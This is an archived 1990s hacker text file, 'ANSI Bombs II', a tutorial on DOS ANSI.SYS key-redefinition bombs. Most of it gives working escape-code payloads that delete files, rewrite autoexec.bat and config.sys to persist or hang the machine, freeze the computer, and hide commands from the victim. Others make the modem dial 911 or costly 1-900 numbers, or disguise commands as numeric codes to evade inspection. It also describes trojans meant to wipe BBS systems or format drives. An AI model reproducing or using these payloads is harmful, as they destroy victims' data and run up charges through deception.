The Hacker's Encyclopedia 1998/hackers_encyclopedia.iso/pc/virus/ansibom2.doc

Text File | 2003-06-11 | 14.2 KB | 314 lines

                  ANSI Bombs II: Tips and Techniques

                                  By

                           The Raging Golem


    I. Introduction

    After writing the last file, a lot of people let me know about the
mistakes I had made.  I guess this file is to clear up those miscon
ceptions and to let people know about some of the little tricks behind
ANSI bombing.  Of course, ANSI bombing isn't as dangerous as a lot of
people make it out to be, but bombs are still fun to make and with a
little planning deliver some degree of success.  ANSI bombing can
be dangerous, so I am tired of hearing people say that an ANSI bomb is
harmless, another misconception I hope to clear up.  Now, most people
that have spent time experimenting with ANSI bombs probably know most
of the material in this file, but it might be fun just to read anyway.

    2. Misconceptions

    In my last file, I made three major blunders, or what I would con
sider to be major blunders.  First, I said that ANSI bombs could be
used on BBSs to screw people over, but I guess I was wrong.  It was
pure speculation on what other people had said that made me say that.
ANSI codes, including those that redefine keys, are sent over the
lines, but most comm programs don't use ANSI.SYS; they use their own
version of ANSI, which doesn't support key redefinition.  Some people
might have a program that supports it, but I haven't seen it yet.  I
have tested bombs on systems on my own and proved to myself that they
don't work.  I have also seen people fuck up bombs that would have
worked by uploading them in a message.  The second misconception is
that ANSI bombs are dangerous when put into zips.  I haven't really
tested this out much, but from what I hear with the newer versions of
PKZIP, you have to specify that you want to see ANSI comments when
unzipping.  It is unlikely that you would waste your time unzipping
something again after seeing "Format C:" in the middle of an escape
code.  I could be mistaken, but I'm pretty sure that I'm right. Third,
the last thing that was a misconception is that VANSI.SYS will protect
your system from key redefinition.  Maybe the newer versions don't
support key redefinition, but mine sure as hell does.  There are pro
grams out there that don't support it, but I don't know any of the
names.  Of course, if I were you, I would be wary about using some
thing other then ANSI.  I have a few friends that are working on "A
Better ANSI" for PDers, which, instead of being better, really screws
them over.

    3. An Overview

    Now, in case you haven't read my other file (it's called ANSI.DOC,
kind of lame but fairly informative), I'll briefly go over the struc
ture of an ANSI bomb.  Skip this part if you know what an ANSI bomb is
and how to make one.
    In ANSI everything is done with a system of escape codes.  Key
redefinition is one of those codes.  (From now, whenever I say ESC, I
really mean the arrow, ).  Here is a basic command:
                          ESC [13;27p
    This would make the <Enter> key (13 is the code for enter) turn
into the <Escape> key (27 is the code for escape).  The  always has to
be there, as do the bracket and the "p", but what is between the
bracket and the "p" is up to you.  The first number is always the key
that you want to be redefined.  If there is a zero for the first num
ber, that means the key is in the extended set, and therefore, the
first two numbers are the code.  The bracket signifies the beginning
of the definition, and the "p" signifies the end.  Whenever you want a
key pressed, you have to use it's numerical code (i.e. 13 is the code
for <Enter>).  You can't redefine strings, but you can redefine a key
to become a string (i.e. ESC [13;"Blah"p would make <Enter> say
"Blah").  Strings must be inside of quotes, which includes commands
that you want typed on the DOS prompt (i.e. ESC [13;"Del *.*";13p
would delete everything in the directory, note that 13 stands for
Enter in this case, not the redefinition).  An escape code can have
as many commands as you want in it, but each one has to be separated
by a semi-colon.  You can only redefine one key in each escape code,
so if you want to redefine another key, you have to start another
escape code.  That's about it when it comes to bombs, now that you
have the basics, all you really need is a little imagination.

    4. Tips and Tricks

    A. The Y/N Redefinition

    Now, here's a simple but fun little ANSI bomb:

                   ESC [78;89;13p ESC [110;121;13p

    Basically, all this does is turn a capital "N" into "Y" and a
lower-case "n" into "y".  Alone this doesn't do too much, except for
screw around with what they are typing.  On the other hand, try adding
this line of code to the ANSI bomb:

                   ESC [13;27;13;"del *.*";13p

    Most people would automatically press "N" when they see "Del *.*",
but when they do, they will be screwed over.  This portion of a bomb
is very useful when it comes to making good bombs.

    B. Screwing with the Autoexec.bat

    Here is another line of code that you may find useful in future
bombing projects:

                   ESC [13;27;13;"copy bomb.ans c:\";13;"copy con
                     c:\autoexec.bat";13;"type bomb.ans";13;0;109;
                     13;"cls";13p

    This line of code makes the bomb a little more permanent and a
little more dangerous.  It copies the bomb into the root directory,
then it change/creates the autoexec.bat, so the bomb is typed after
every boot-up.  Of course, the person could just boot off a disk, but
I'm sure this would get them a few time.  It could also probably
appear as though it were a virus, scaring the shit out of the owner of
the computer.

    C. Turning Commands into Other Commands

    One of the best pranks to do to someone using an ANSI bomb is to
redefine commands.  That way if they type in "copy", it will turn into
"Del *.*".  Since you can't actually change the whole string, you have
to take a different approach.  You have to change a few of the keys,
so when typed, they type and execute the desired command.  I guess it
would be coolest to have to command exactly the same length; that way
you could redefine one key at a time to obtain the desired effect.
It doesn't really matter how you do it, just as long as it works.  You
might make an ANSI that says "Wow, check out what this bomb did to
your directory", and then have it redefine the keys, so when they type
in "dir", it turns into "del".  I think you get the idea.

    D. Covering Your Tracks

    This can be kind of useful, if you don't want the bomb to remain,
once it has been set off.  Here's the command you can stick in your
bomb, so that it will delete itself.  This is also useful if you want
a person to think they've been hit by a virus.

    ESC[13;"delete bomb.ans";13p

    Or to make it look like a virus:

    ESC[13;"echo You've been hit by the Big B Virus";13;"delete bomb.ans
    ";13p

    The second one is a little more fun, but they both get the point
across.

    E. Screwing with the CONFIG.SYS

    Put in a line like this:

    ESC[13;"^C";13;"copy con c:\config.sys";13;"device=config.sys";13;
    0;64;13p

    This will change the config.sys, so when they reboot or you force
them to, the computer will just freeze, and they won't know what hap
pened.  The CONFIG.SYS will be caught in a loop, and the only way to
fix it is by booting off a floppy.  Alone it works well, but it's
better if you also freeze there computer, so they are forced to
reboot.

    F. Freezing the Computer

    When you create a program with only · and ⌠ (ALT-250 and ALT-244
on the numeric keypad), then the computer will freeze and lock up.  So
here's a line you can incorporate:

    ESC[13;"^C";13;"copy con blah.com";13;"·⌠";13;0;64;13;"blah";13p

    This will create the necessary program and then run it, freezing
the computer and forcing a reboot.

    G. Hide Commands

    Hiding commands can serve two purposes.  First, they can freak a
person out, making them think they're computer has frozen (not too
useful).  Second, they can hide the commands of the ANSI bomb, which
can be very useful with longer ANSI bombs.
    Here is an example of the first:

    ESC[13;"^C";13;"command >nul";13p

    This will make it so all of the commands are invisible, but it
will relay the error messages (This doesn't work too well with other
ANSI commands, so just use it alone as a single ANSI bomb).
    Here is an example of the second:

    ESC[13;"^C";13;"prompt $e[0;30m";13;"cls";13p

    This command will change the color of the text, so it is the same
as the back ground.  Therefore, all other commands in the ANSI bomb
will be hidden, and the harm will be done before the victim knows what
is happening.  This is very helpful and highly recommended to be used
in all of your ANSI bombs.

    H. Modem Fun

    One of the more interesting things you can do with an ANSI bomb is
issue commands directly to the modem from the DOS command line.  You
sort of have to guess on which port their modem is (most likely it is
either COM1 or COM2, but to be safe you can do them both).  Here's the
line for the command, then we will talk about some of the fun you can
have:

    ESC[13;"^C";13;"ECHO ATDT911>COM1";13p

    This command would call 911 through the COM1, but COM1 can be
replaced by any other com port, 911 can be replaced with any other
phone number, and ATDT can be replaced with any other modem command.
The most fun comes in when you play around with the number to dial.
Instead of 911, which is fairly nasty in its own right, you could put
a LD number or a 1-900 (especially those that charge a flat rate of
$25 or so, like the gambler's hotline type thing).  Not only can you
make the person feel like a fool, but you could also make them a tad
bit poorer.  When used in conjunction with the freeze command, the
person probably won't have enough time to turn off the computer before
they are charged.

    I. Trojans

    By now, everybody knows what a Trojan is.  You probably wouldn't
think so, but ANSI bombs can be used as Trojans and in Trojans. First,
if you are planning on crashing a board, but you're not very good at
programming, then make yourself an ANSI bomb.  Try to find out in
which directory the main files for running the BBS are stored. They
are usually under the name BBS or the name of the software, like WWIV
or Telegard.  Then, make a bomb that either just deletes all the files
in that directory, or if you want the board to be down a longer time,
then make one that formats the Hard Drive.  In this form ANSI bombs,
if they are well planned out, can be easy to make Trojans. Second,
ANSI bombs can used in Trojans.  This is probably stretching it a
little, but say you wanted to write a Trojan that would delete a
directory, every time you typed a certain key, then you could use an
ANSI bomb.  First make some batch and com/exe files that would search
for protecting programs like Norton and turn them off.  Then you could
copy the file into the root directory, along with your versions of
autoexec.bat, config.sys, ANSI.sys, and whatever else.  (To make it
look more realistic make the files Resource.00x to trick the user,
then when copying, use the real name).  Then somehow lock the computer
up or do a warm boot through some pd program, which is easily attain
able.  When the computer loads back up, you can screw that shit out of
them with your ANSI bomb.

    J. The Average Joe

    Ok, now the average Joe is not going to know what the hell is going
on when he sees all of the escape commands, if he looks at it in something
that doesn't support ANSI.  He will however be supicious if he sees "format
C:".  There is is a way to get rid of this.  Instead of redefining the
key to be a text statement, redefine it as a bunch of keys that do the same
job.  For example:

      "DELETE" = 100;101;108;101;116;101
                  D   E   L   E   T   E

      "FORMAT" = 102;111;114;109;97;116
                  F   O   R   M  A   T

    In this way, you can make destructive commands look like just a bunch
of numbers.  Very few people will scrutinize an ANSI enough before viewing
it to see the redefinition command.  This is very helpful and it is another
trick I recommend you always try to use.

    5. Conclusion
    It would seem to some people that ANSI bombs are very dangerous,
and to others that they are stupid or lame.  Personally, I think that
ANSI bombs are just plain old fun.  They're not too hard to make, but
there is a lot that you can do with them.  They are nowhere near as
malicious as virii, so if you're looking for unstoppable destruction,
look elsewhere, but they do serve their purpose.  I know that there
are programs out there that help you program ANSI bombs, but I think
that they kind of take the fun out of them.  Probably, some day soon,
I'll quit making ANSI bombs and start looking more into virii and pure
Trojans.  But for now, ANSI bombs suit my purpose.

                               -TRG

    Appendix A: Key Code Program

    Here is a small program, which I find very helpful.  After loading
it up, it tells you the numeric code for every key you type in.  Spe
cial means that it is in the extended set and therefore uses zero, and
"q" ends the program.  Unfortunately,  I can't take any credit for
this program.  I got it over the phone from Heavymetl, and it was made
by his brother.  So many thanks go out to Heavymetl and his brother,
even though they'll probably be a little pissed at me for including
this in my file.  It is in Pascal and can be compiled in most Turbo
Pascal compilers.

    Use CRT;
    Var
      CH : CHAR;
    Begin
      Repeat
        CH := ReadKey;
        If CH = #0 then
          Begin
            CH := ReadKey;
            WriteLn(CH,'(Special) - ',ORD(CH));
          End
        Else
          WriteLn(CH,' - ',ORD(CH));
      Until
        CH = 'q';
    End.


    Thanks go out to:

    Heavymetl for giving me ideas.  Weapons Master for helping me out
and giving me input.  And everyone who has helped me along the way.

    If you want to reach me for some reason, just keep your eyes open
for me on some of the nets.  I'm not too hard to find.